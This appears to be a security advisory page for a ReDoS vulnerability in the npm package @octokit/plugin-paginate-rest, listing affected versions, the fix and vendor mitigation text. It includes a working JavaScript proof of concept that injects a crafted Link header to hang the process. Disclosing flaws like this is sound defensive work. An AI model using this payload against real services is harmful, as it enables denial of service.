GHSA-h5c3-5r3r-rr8q
MEDIUM@octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
@octokit/plugin-paginate-rest📦@octokit/plugin-paginate-restReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
For the npm package @octokit/plugin-paginate-rest, when calling octokit.paginate.iterator(), a specially crafted octokit instance—particularly with a malicious link parameter in the headers section of the request—can trigger a ReDoS attack.
Details
The issue occurs at line 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:
url = ((normalizedResponse.headers.link || "").match(
/<([^>]+)>;\s*rel="next"/,
) || [])[1];
The regular expression /<([^>]+)>;\s*rel="next"/ may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted Link headers.
PoC
- run npm i @octokit/plugin-paginate-rest
- run 'node poc.js' result:
- then the program will stuck forever with high CPU usage
import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";
const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
auth: "your-github-token",
});
// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
return {
data: [],
headers: {
link: maliciousLinkHeader, // Inject malicious 'link' header
},
};
});
// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
try {
for await (const normalizedResponse of octokit.paginate.iterator(
"GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
)) {
console.log({ normalizedResponse });
}
} catch (error) {
console.error("Error encountered:", error);
}
})();
Impact
What kind of vulnerability is it?
This is a Regular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:
/<([^>]+)>;\s*rel="next"/
When processing a specially crafted Link header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.
Who is impacted?
- Users of
@octokit/plugin-paginate-restwho calloctokit.paginate.iterator()and process untrusted or manipulatedLinkheaders. - Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
- GitHub API consumers who integrate this package into their projects for paginated data retrieval.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @octokit/plugin-paginate-rest | ≥ 9.3.0-beta.1&&< 11.4.1 | 11.4.1 |
| 📦npm | @octokit/plugin-paginate-rest | ≥ 1.0.0&&< 9.2.2 | 9.2.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @octokit/plugin-paginate-rest. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @octokit/plugin-paginate-rest to 11.4.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h5c3-5r3r-rr8q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h5c3-5r3r-rr8q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h5c3-5r3r-rr8q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h5c3-5r3r-rr8q in your dependencies?
O3 detects GHSA-h5c3-5r3r-rr8q across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.